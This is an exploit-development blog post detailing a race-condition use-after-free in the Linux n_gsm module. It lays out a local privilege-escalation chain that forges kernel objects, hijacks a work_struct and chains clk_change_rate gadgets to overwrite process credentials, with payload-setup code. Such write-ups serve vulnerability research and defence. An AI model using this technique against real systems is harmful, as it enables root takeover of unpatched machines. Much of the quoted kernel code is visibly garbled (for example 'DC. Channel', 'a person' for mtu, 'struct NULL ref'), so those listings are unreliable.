jmpeax's blog

Exploit Development & Vulnerability Research

Github About Contact RSS
21 March 2024

The tale of a GSM Kernel LPE

by jmpeax

Through fuzzing via my local custom syzkaller instance and auditing via semgrep and codeql queries I was lucky enough to find a bug in the linux module n_gsm.c. This module is used to implement the GSM 07.10 multiplexing protocol. This type of error was “Race Condtiton” which results in “User - After - Free”. Looking at the code, I realized that this could be used to execute my code in the Linux kernel and get LPE (Local Privilege Escalation) on a potential victim.

Now I’m going to tell you in detail on the module code where programmers make a mistake. With the release of version 6.4 of the Linux kernel, the n_gsm module now has a GSMIOC_SETCONF_DLCI option to call via ioctl. This option is required to update the DLCI (Data Link Connection Identifier) configuration.

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
	struct gsm_config c;
	struct gsm_config_ext this;
	struct gsm_dlci_config dc;
	struct gsm_mux *gsm = tty->disc_data;
	unsigned int base, addr;
	struct gsm_dlci *dlci;

	switch (cmd) {
	case GSMIOC_GETCONF:
		gsm_copy_config_values(gsm, &c);
		if (copy_to_user((void __user *)arg, &c, sizeof(c)))
			return -EFAULT;
		return 0;
	case GSMIOC_SETCONF:
		if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
			return -EFAULT;
		return gsm_config(gsm, &c);
	case GSMIOC_GETFIRST:
    base = mux_num_to_base(gsm);
		return put_user(base + 1, (__u32 __user *)arg);
	case GSMIOC_GETCONF_EXT:
		gsm_copy_config_ext_values(GSM, &CE);
		if (copy_to_user((void __user *)arg, &ce, sizeof(EC)))
			return -EFAULT;
		return 0;
	case GSMIOC_SETCONF_EXT:
		if (copy_from_user(&ce, (void __user *)arg, sizeof(EC)))
			return -EFAULT;
		return gsm_config_ext(GSM, &CE);
	case GSMIOC_GETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (DC. Channel == 0 || dc. channel >= nam_dlci)
			return -EINVAL;
		ADR = ar_index_nospec(dc.channel, nam_dlci);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		gsm_dlci_copy_config_values(dlci, &dc);
		if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
			return -EFAULT;
		return 0;
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (DC. Channel == 0 || dc. channel >= nam_dlci)
			return -EINVAL;
		ADR = ar_index_nospec(dc.channel, nam_dlci);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
        return gsm_dlci_config(dlci, &dc, 0);
	default:
		return n_tty_ioctl_helper(tty, cmd, arg);
	}}

(Code 1) ioctl call handler code in the n_gsm.c module

As we can see from the Code 1 code snippet in our ioctl handler, the GSMIOC_SETCONF_DLCI option is called The gsm_dlci_config function that is responsible for updating the DLCI. A DLCI object from the structure array gsm_mux whose index we specify in the configuration structure is passed to the gsm_dlci_config function. The struct gsm_dlci_config configuration structure itself is also passed. Yes, the function and configuration structure have the same name, don’t be surprised.

An example of calling GSMIOC_SETCONF_DLCI:

struct gsm_dlci_config {
	__u32 channel;    	/* DLCI (0 for the associated DLCI) */
	__u32 adaption;    	/* Convergence layer type */
	__u32 a person;    	/* Maximum transfer unit */
	__u32 priority;    	/* Priority (0 for default value) */
	__u32 i;    	/* Frame type (1 = UIH, 2 = UI) */
	__u32 k;    	/* Window size (0 for default value) */
	__u32 reserved[8];    /* For future use, must be initialized to zero */
} config;

config.channel = 1; DLCI Index 
ioctl(fd,GSMIOC_SETCONF_DLCI,config);call

Next, we’ll move on to the gsm_dlci_config function itself.

static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, Int open)
{
	struct gsm_mux *gsm;
	bool need_restart = false;
	bool need_open = false;
	unsigned int i;

	/*
	 * Check that userspace doesn't put stuff in here to prevent breakages
	 * in the future.
	 */
	for (i = 0; in < ARRAY_SIZE(DC->reserved); i++)
		if (DC->reserved[i])
			return -EINVAL;

	if (!dlci)
		return -EINVAL;
	gsm = dlci->gsm;

	/* Stuff we don't support yet - I frame transport */
	if (dc->adaption != 1 && dc->adaption != 2)
		return -EOPNOTSUPP;
	if (dc->mtu > MAX_MTU || dc->mtu < MIN_MTU || dc->mtu > gsm->mru)
		return -EINVAL;
	if (dc->priority >= 64)
		return -EINVAL;
	if (dc->i == 0 || dc->i > 2)  /* UIH and UI only */
		return -EINVAL;
	if (dc->k > 7)
		return -EINVAL;

	/*
	 * See what is needed for reconfiguration
	 */
	/* Framing fields */
	if (DC->Adaptation!= DLCI->Adaptation)
		need_restart = true;
	if (dc->mtu != dlci->mtu)
		need_restart = true;
	if (dc->i != dlci->ftype)
		need_restart = true;
	/* Requires care */
	if (dc->priority != dlci->prio)
		need_restart = true;

	if ((open & mobile phone >wait_config) || need_restart)
		need_open = true;
	if (dlci->state == DLCI_WAITING_CONFIG) {
		need_restart = false;
		need_open = true;
	}

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);
		if (signal_pending(current))
			return -EINTR;
	}
	/*
	 * Setup the new configuration values
	 */
	dlci->adaption = (Int)dc->adaption;

	if (dc->mtu)
		dlci->mtu = (unsigned int)dc->mtu;
	else
		dlci->mtu = gsm->mtu;

	if (dc->priority)
		dlci >prio = (U8)dc->priority;
	else
		dlci->prio = roundup(dlci->addr + 1, 8) - 1;

	if (dc->i == 1)
		dlci->ftype = UIH;
	else if (dc->i == 2)
		dlci->ftype = UI;

	if (dc->k)
		dlci >k = (U8)dc->k;
	else
		dlci >k = gsm->k;

	if (need_open) {
		if (gsm->itiator)
			gsm_dlci_begin_open(dlci);
		else
			gsm_dlci_set_opening(dlci);
	}

	return 0;}

Code 2 Function gsm_dlci_config

The algorithm of these functions is because it first checks the configuration structure for incorrect arguments, then determines whether DLCI needs to be restarted, and then updates its configuration to ours, which was passed via ioctl. Now we get to the heart of it. There is a stage in the function where it determines by arguments that it needs to restart dlci.

if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);
		if (signal_pending(current))
			return -EINTR;
	}

On these lines of code, we can see that first a command is sent to the beginning of the DLCI closure to the client via the gsm_dlci_begin_close() function, and then the next line of code uses the wait_event_interruptible function to wait for the condition that the DLCI state will be closed.

The DLCI can be closed with the DISC|PF, which is sent to the communication channel n_gsm. Or with the expiration of the timer that automatically closes the dlci.

You’ve probably already noticed such a feature that the function call gsm_dlci_config is not synchronized at all, does not have any blocking means inside the function. You can do anything with the DLCI as long as the gsm_dlci_confi function waits for it to close.

Now let’s move on to exploiting this error.

While waiting for the DLCI to close in "wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);" We call the gsm_config function via IOCTL, which is located behind the GSMIOC_SETCONF parameter. This function restarts the MUX at the same time releases all previously allocated DLCIS. This is our “Free”. Next, we select an object with the cache size of our structure, which is 1024. In our fake object, we fill in the state field on the DLCI_CLOSED that we need to exit the wait_event_interruptible. But this is not enough to get out of standby mode, you still need to wake up the gsm->event waiting queue. This can be done by sending a SABM|PF, which in the packet handler n_gsm calls gsm_dlci_open. You’ll be able to see it at the bottom of the code snippet.

switch (GSM->Control) {
	case SABM|PF:
		if (cr == 1)
			goto invalid;
		if (dlci == NULL)
			dlci = gsm_dlci_alloc(gsm, address);
		if (dlci == NULL)
			return;
		if (DLCI->dead)
			gsm_response(gsm, address, DM|PF);
		else {
			gsm_response(gsm, address, UA|PF);
			gsm_dlci_open(dlci);
		}
		break;

Now let’s take a look at the gsm_dlci_open function.

static void gsm_dlci_open(struct gsm_dlci *dlci)
{
	struct gsm_mux *gsm = dlci->gsm;

	/* Note that SABM UA .. SABM UA first UA lost can mean that we go
	   open -> open */
	del_timer(&dlci->t1);
	/* This will let a tty open continue */
	dlci->state = DLCI_OPEN;
	dlci->constipated = false;
	if (debug & DBG_ERRORS)
		pr_debug("DLCI %d goes open.\n", dlci->addr);
	/* Send current modem state */
	if (dlci->addr) {
		gsm_modem_update(dlci, 0);
	} else {
		/* Start keep-alive control */
		gsm->ka_num = 0;
		gsm->ka_retries = -1;
		mod_timer(&gsm->ka_timer,
			  jiffies + gsm->keep_alive * HZ / 100);
	}
	gsm_dlci_data_kick(dlci);
	wake_up(&dlci->gsm->event);}

We can see that the last line of the function code is called wake_up(&dlci->gsm->event); which wakes up our queue of expectations. After that, our flow, which was waiting in the wait_event_interruptible, proceeds to the if condition.

if (need_open) {
		if (gsm->itiator)
			gsm_dlci_begin_open(dlci);
		else
			gsm_dlci_set_opening(dlci);
	}

Of course, we need to meet the conditions of the arguments for need_open to be true. Next, we have a choice between gsm_dlci_begin_open and gsm_dlci_set_opening. The gsm_dlci_set_opening feature simply sets the DLCI state to DLCI_OPENING. Therefore, it has no potential. At the bottom, you can see its code.

static void gsm_dlci_set_opening(struct gsm_dlci *dlci)
{
	switch (dlci->state) {
	case DLCI_CLOSED:
	case DLCI_WAITING_CONFIG:
	case DLCI_CLOSING:
		dlci->state = DLCI_OPENING;
		break;
	default:
		break;
	}}

And the gsm_dlci_begin_open function already has the potential to perform useful tasks. Therefore, we need to configure the MUX itself before entering the gsm_dlci_config so that the initiator value is true. Let’s move on to the function itself. Analyzing the function, we can see three options for what you can latch onto.

I chose the first option with kernel worker. I’ll tell you why the last two don’t fit.

static void gsm_dlci_begin_open(struct gsm_dlci *dlci)
{
	struct gsm_mux *gsm = dlci ? dlci->gsm : NULL;
	bool need_pn = false;

	if (!gsm)
		return;

	if (dlci->addr != 0) {
		if (gsm->adaption != 1 || gsm->adaption != dlci->adaption)
			need_pn = true;
		if (dlci->prio != (roundup(dlci->addr + 1, 8) - 1))
			need_pn = true;
		if (GSM->ftype != dlci->ftype)
			need_pn = true;
	}

	switch (dlci->state) {
	case DLCI_CLOSED:
	case DLCI_WAITING_CONFIG:
	case DLCI_CLOSING:
		dlci->retries = gsm->n2;
		if (!need_pn) {
			dlci->state = DLCI_OPENING;
			gsm_command,dlci->addr, SABM|PF);
		} else {
			/* Configure DLCI before setup */
			dlci->state = DLCI_CONFIGURE;
			if (gsm_dlci_negotiate(dlci) != 0) {
				gsm_dlci_close(dlci);
				return;
			}
		}
		mod_timer(&dlci->t1, jiffies + gsm->t1 * HZ / 100);
		break;
	default:
		break;
	}}

But before that, I need to tell you about my payload.

There is such a useful feature as clk_change_rate which is a useful gadget for us. This gadget allows you to execute a function up to three long arguments, as well as execute a function up to two arguments, but write the return value to a member of the structure that serves as the first argument clk_change_rate. And also this function has a recursive call, where the argument for the next call will be a member of the structure of the original function.

static void clk_change_rate(struct clk_core *core)
{
	struct clk_core *child;
	struct hlist_node *Tmp;
	unsigned long old_rate;
	unsigned long best_parent_rate = 0;
	bool skip_set_rate = false;
	struct clk_core *old_parent;
	struct clk_core *parent = NULL;

	old_rate = core->rate;

	if (core->new_parent) {
		parent = core->new_parent;
		best_parent_rate = core->new_parent->rate;
	} else if (core->parent) {
		parent = core->parent;
		best_parent_rate = core->parent->rate;
	}

	if (clk_pm_runtime_get(core))
		return;

	if (core->flags & CLK_SET_RATE_UNGATE) {
		clk_core_prepare(core);
		clk_core_enable_lock(core);
	}

	if (core->new_parent && core->new_parent != core->parent) {
		old_parent = __clk_set_parent_before(core, core->new_parent);
		trace_clk_set_parent(core, core->new_parent);

		if (core->ops->set_rate_and_parent) {
			skip_set_rate = true;
			core->ops->set_rate_and_parent(core->hw, core->new_rate,
					best_parent_rate,
					core->new_parent_index);
		} else if (core->ops->set_parent) {
			core->ops->set_parent(core->hw, core->new_parent_index);
		}

		trace_clk_set_parent_complete(core, core->new_parent);
		__clk_set_parent_after(core, core->new_parent, old_parent);
	}

	if (core->flags & CLK_OPS_PARENT_ENABLE)
		clk_core_prepare_enable(parent);

	trace_clk_set_rate(core, core->new_rate);

	if (!skip_set_rate &&>ops->set_rate)
		core->ops->set_rate(core->hw, core->new_rate, best_parent_rate);

	trace_clk_set_rate_complete(core, core->new_rate);

	core->rate = clk_recalc(core, best_parent_rate);

	if (core->flags & CLK_SET_RATE_UNGATE) {
		clk_core_disable_lock(core);
		clk_core_unprepare(core);
	}

	if (core->flags & CLK_OPS_PARENT_ENABLE)
		clk_core_disable_unprepare(parent);

	if (core->notifier_count && old_rate != core->rate)
		__clk_notify(core, POST_RATE_CHANGE, old_rate, core->rate);

	if (core->flags & CLK_RECALC_NEW_RATES)
		(void)clk_calc_new_rates(core, core->new_rate);

	/*
	 * Use safe iteration, as change_rate can actually swap parents
	 * for certain clock types.
	 */
	hlist_for_each_entry_safe(child, tmp, &core->children, child_node) {
		/* Skip children who will be reparented to another clock */
		if (child->new_parent && child->new_parent != core)
			continue;
		clk_change_rate(child);
	}

	/* handle the new child who might not be in core->children yet */
	if (core->new_child)
		clk_change_rate(core->new_child);

	clk_pm_runtime_put(core);}

To use our gadget to execute a three-argument function, we need to define the structure data through which the thread of execution will go to this line of code.

if (!skip_set_rate &&>ops->set_rate)
		core->ops->set_rate(core->hw, core->new_rate, best_parent_rate);

Use case:

kernfs_payload.memcpy_cred.new_parent                  	= 0;
	kernfs_payload.memcpy_cred.rpm_enabled                 	= false;
	kernfs_payload.memcpy_cred.flags                       	= 0;
	kernfs_payload.memcpy_cred.of_node_recalc_rate         	= 0;
	kernfs_payload.memcpy_cred.notifier_count              	= 0;
	kernfs_payload.memcpy_cred.children                    	= 0;
	kernfs_payload.memcpy_cred.rate                        	= sizeof(struct cred_compact);
	kernfs_payload.memcpy_cred.parent                      	= memcpy_cred_addr;
	kernfs_payload.memcpy_cred.new_rate                    	= root_cred_addr;
	kernfs_payload.memcpy_cred.ops                         	= set_arg_cred_addr + offset_ops;
	kernfs_payload.memcpy_cred.req_rate_set_rate           	= memcpy_addr;
	kernfs_payload.memcpy_cred.new_child                   	= 0;

The second functionality of the gadget, which allows you to specify a function with two arguments, can be seen below.

core->rate = clk_recalc(core, best_parent_rate);
static unsigned long clk_recalc(struct clk_core *core,
				unsigned long parent_rate)
{
	unsigned long rate = parent_rate;
	if (core->ops->recalc_rate && !clk_pm_runtime_get(core)) {
		rate = core->ops->recalc_rate(core->hw, parent_rate);
		clk_pm_runtime_put(core);
	}
	return rate;}

As we can see, we get the return value in c lk_core->rate.

Use case:

kernfs_payload.get_cred.new_parent                     	= 0;
	kernfs_payload.get_cred.parent                         	= 0;
	kernfs_payload.get_cred.rpm_enabled                    	= false;
	kernfs_payload.get_cred.flags                          	= 0;
	kernfs_payload.get_cred.req_rate_set_rate              	= 0;
	kernfs_payload.get_cred.notifier_count                 	= 0;
	kernfs_payload.get_cred.children                       	= 0;
	kernfs_payload.get_cred.ops                            	= get_cred_addr + offset_ops;
	kernfs_payload.get_cred.of_node_recalc_rate            	= get_task_cred_addr;
	kernfs_payload.get_cred.new_child                      	= set_arg_memcpy_addr;

Next is recursion, which allows us to build a chain of gadgets that together execute useful code. It is very good that it is at the very end of the function.

if (core->new_child)
		clk_change_rate(core->new_child);

Built useful code from primitives clk_change_rate:

Recursion Scheme

The task of this code is to find the find_task_by_vpid structure task_struct then get the cred structure using the get_task_cred function. Then we rewrite part of the cred structure to our part. With the case of find_task_by_vpid and get_task_cred that return pointers to structures, we use recalc_rate. To pass the obtained values from the functions to the arguments of the second functions, we simply specify the address of the 8-byte memcpy member of the structure and copy the value to the argument address.

Now that you know the subtext, I can start arguing why I chose kernel worker. Let’s start with the timer option. When the timer expires, the timer structure is removed from the list of waiting timers before entering the timer function. To delete a list timer, use the detach_timer() function.

static inline void detach_timer(struct timer_list *timer, bool clear_pending)
{
	struct hlist_node *entry = &timer->entry;

	debug_deactivate(timer);

	__hlist_del(entry);
	if (clear_pending)
		entry->pprev = NULL;
	entry->next = LIST_POISON2;}

The function code sets the list pointer to NULL and POISON, and this is a problem. As you understood, in order to set the functions of set_rate and recal_rate, you need to establish the address of the fake structure clk_ops.

struct clk_core {
	const char		*name;
	const struct clk_ops	*ops;

It is the second member of the structure after name. Now let’s look at the structure of the time_list which is passed to the timer function.

struct timer_list {
	/*
	 * All fields that change during normal runtime grouped to the
	 * same cacheline
	 */
	struct hlist_node	entry;
	unsigned long		expires;
	void			(*function) (struct timer_list *);
	U32			flags;

#ifdef CONFIG_LOCKDEP
	struct lockdep_map	lockdep_map;
#endif
};

In the structure, the first member of which is a list in which pointers are erased, as I said earlier. Therefore, this does not allow the timer option to be used, as the ops member will not be valid.

Let’s move on to the option with wake_up. What makes it impossible to use it is that the gsm_dlci_negotiate function cannot be set to return -1 and thus call gsm_dlci_close()->wake_up(). Since in order for gsm_dlci_negotiate to return -1, you need to set invalid values in the gsm_dlci->ftype member of the structure. But the problem is that it is overwritten by our valid data from the config after wait_event_interruptible in gsm_dlci_config.

if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);
		if (signal_pending(current))
			return -EINTR;
	}
	/*
	 * Setup the new configuration values
	 */
	dlci->adaption = (Int)dc->adaption;

	if (dc->mtu)
		dlci->mtu = (unsigned int)dc->mtu;
	else
		dlci->mtu = gsm->mtu;

	if (dc->priority)
		dlci >prio = (U8)dc->priority;
	else
		dlci->prio = roundup(dlci->addr + 1, 8) - 1;

	if (dc->i == 1)
		dlci->ftype = UIH;
	else if (dc->i == 2)
		dlci->ftype = UI;

	if (dc->k)
		dlci >k = (U8)dc->k;
	else
		dlci >k = gsm->k;

	if (need_open) {
		if (gsm->itiator)
			gsm_dlci_begin_open(dlci);
		else
			gsm_dlci_set_opening(dlci);
	}

Now let’s move on to explaining how the kernel_worker option works. First, we need to get to gsm_command. To do this, we simply fill the address of the object’s fake dlci with zero (dlci->addr = 0). Now let’s move on to the gsm_command->gsm_send function. And briefly about the object gsm_mux which is transmitted to gsm_send. We use a buffer of PACTH_MAX size that takes data from userspace and is static, which allows us to find out its address, thus bypassing SMEP. And we pass on its address to a member of the fake structure dlci->gsm

static int gsm_send(struct gsm_mux *gsm, Int addr, Int cr, Int control)
{
	struct gsm_msg *msg;
	u8 *dp;
	Int ocr;
	unsigned long flags;

	msg = gsm_data_alloc(gsm, addr, 0, control);
	if (!msg)
		return -ENOMEM;

	/* toggle C/R coding if not initiator */
	OCR = CR ^ (GSM->Initiative ? 0 : 1);

	msg->data -= 3;
	dp = msg->data;
	*DP++ = (ADDR << 2) | (ocr << 1) | EA;
	*dp++ = control;

	if (gsm->encoding == GSM_BASIC_OPT)
		*dp++ = EA; /* Length of data = 0 */

	*dp = 0xFF - gsm_fcs_add_block(INIT_FCS, msg->data, dp - msg->data);
	msg->len = (dp - msg->data) + 1;

	gsm_print_packet("Q->", addr, cr, control, NULL, 0);

	spin_lock_irqsave(&gsm->tx_lock, flags);
	list_add_tail(&msg->list, &gsm->tx_ctrl_list);
	gsm->tx_bytes += msg->len;
	spin_unlock_irqrestore(&gsm->tx_lock, flags);
	gsmld_write_trigger(gsm);

	return 0;}

The first step is to forge the gsm->tx_ctrl_list list, because if it is not valid, then when executing list_add_tail(&msg->list, &gsm->tx_ctrl_list) system infall. Next, we move on to the gsmld_write_trigger() function;

static void gsmld_write_trigger(struct gsm_mux *gsm)
{
	if (!gsm || !gsm->dlci[0] || gsm->dlci[0]->dead)
		return;
	schedule_work(&gsm->tx_work);}

The first step is to forge the dlci object along with specifying that dlci->dead = false. We do this in our static buffer and simply specify gsm to our static dlci object. To satisfy the conditions under which we fall into the schedule_work() function. Next, we forge the structure of the work_struct by specifying the clk_change_rate function. But how is the worker fun argument specified? Will we be able to put the address of our payload there? When executing work_struct from the workqueue list, the process_one_work() function is executed. The function removes workqueue from the list using list_del_init(&work->entry).

static inline void list_del_init(struct list_head *entry)
{
	__list_del_entry(entry);
	INIT_LIST_HEAD(entry);}

static inline void INIT_LIST_HEAD(struct list_head *list)
{
	WRITE_ONCE(list->next, list);
	WRITE_ONCE(list->prev, list);}

As we can see, the element is first removed from the list, and then the element is initialized with an address that points to itself. Now let’s compare work_struct with clk_core.

struct work_struct {
	atomic_long_t data;
	struct list_head entry;
	work_func_t func;
#ifdef CONFIG_LOCKDEP
	struct lockdep_map lockdep_map;
#endif
};
struct clk_core {
	const char		*name;
	const struct clk_ops	*ops;
	struct clk_hw		*hw;
	struct module		*owner;
	struct device		*Dev;
	struct device_node	*of_node;
	struct clk_core		*parent;
	struct clk_parent_map	*parents;
	U8			num_parents;
	U8			new_parent_index;
	unsigned long		rate;
	unsigned long		req_rate;
	unsigned long		new_rate;
	struct clk_core		*new_parent;
	struct clk_core		*new_child;
	unsigned long		flags;
	bool			orphan;
	bool			rpm_enabled;
	unsigned int		enable_count;
	unsigned int		prepare_count;
	unsigned int		protect_count;
	unsigned long		min_rate;
	unsigned long		max_rate;
	unsigned long		accuracy;
	Int			phase;
	struct clk_duty		duty;
	struct hlist_head	children;
	struct hlist_node	child_node;
	struct hlist_head	clks;
	unsigned int		notifier_count;
#ifdef CONFIG_DEBUG_FS
	struct dentry		*dentry;
	struct hlist_node	debug_node;
#endif
	struct NULL		ref;
};

As we can see, the entry list matches the location of the member of clk_ops structure clk_core as well as the timer option. But since list_del_init overwrote entry, that is, it uses clk_ops to the address work_struct_clk_core structures with an offset of +8, we are in the black. We just need to set the members of the structure that are indicated by the clk_ops structure bias.

struct clk_ops {
	Int		(*prepare) (struct clk_hw *hw);
	void		(*unprepare) (struct clk_hw *hw);
	Int		(*is_prepared) (struct clk_hw *hw);
	void		(*unprepare_unused) (struct clk_hw *hw);
	Int		(*enable) (struct clk_hw *hw);
	void		(*disable) (struct clk_hw *hw);
	Int		(*is_enabled) (struct clk_hw *hw);
	void		(*disable_unused) (struct clk_hw *hw);
	Int		(*save_context) (struct clk_hw *hw);
	void		(*restore_context) (struct clk_hw *hw);
	unsigned long	(*recalc_rate) (struct clk_hw *hw,
					unsigned long parent_rate);
	long		(*round_rate) (struct clk_hw *hw, unsigned long rate,
					unsigned long *parent_rate);
	Int		(*determine_rate) (struct clk_hw *hw,
					  struct clk_rate_request *req);
	Int		(*set_parent) (struct clk_hw *hw, u8 index);
	U8		(*get_parent) (struct clk_hw *hw);
	Int		(*set_rate) (struct clk_hw *hw, unsigned long rate,
				    unsigned long parent_rate);
	Int		(*set_rate_and_parent) (struct clk_hw *hw,
				    unsigned long rate,
				    unsigned long parent_rate, u8 index);
	unsigned long	(*recalc_accuracy) (struct clk_hw *hw,
					   unsigned long parent_accuracy);
	Int		(*get_phase) (struct clk_hw *hw);
	Int		(*set_phase) (struct clk_hw *hw, Int degrees);
	Int		(*get_duty_cycle) (struct clk_hw *hw,
					  struct clk_duty *duty);
	Int		(*set_duty_cycle) (struct clk_hw *hw,
					  struct clk_duty *duty);
	Int		(*init) (struct clk_hw*hw);
	void		(*terminate) (struct clk_hw *hw);
	void		(*debug_init) (struct clk_hw *hw, struct dentry *dentry);};

Having determined the bias, I found out that recalc_rate and set_rate coincide with the members of the of_node and orphan structure of the clk_core. That’s why I got such a mutant.

struct work_clk_core {
	uint64_t data;
	struct list_head entry;
	uint64_t func;
	uint64_t Dev;
	uint64_t of_node_recalc_rate;
	uint64_t parent;
	uint64_t parents;
	uint8_t    num_parents;
	uint8_t    new_parent_index;
	uint64_t rate;
	uint64_t recalc_rate;
	uint64_t new_rate;
	uint64_t new_parent;
	uint64_t new_child;
	uint64_t flags;
	uint64_t set_rate;
	uint32_t enable_count;
	uint32_t prepare_count;
	uint32_t protect_count;
	uint64_t min_rate;
	uint64_t max_rate;
	uint64_t accuracy;
	int32_t    phase;
	uint64_t duty;
	uint64_t children;
	struct hlist_node child_node;
	uint64_t    clks;
	uint32_t notifier_count;};

But we can’t use it as a gadget to perform our functions. Because set_rate overrides members of the structure such as orphan and rmp_enabled must be set to zero in order for calling clk_change_rate not cause the system to crash. But we can assign the address to the next gadget in the new_child member that serves as an argument for the recursive call. Therefore, this structure serves as a start for a chain of gadgets. Next, we wait for some time (3 seconds) so that we can understand for sure that our fake work_struct has been fulfilled and we get the desired result as an overwrite of the cred structure.

PoC (proof Of Concept)
PoC (proof Of Concept)

GSM Linux Kernel LPE Nday Exploit code.

tags: Linux, - Kernel, - GSM, - LPE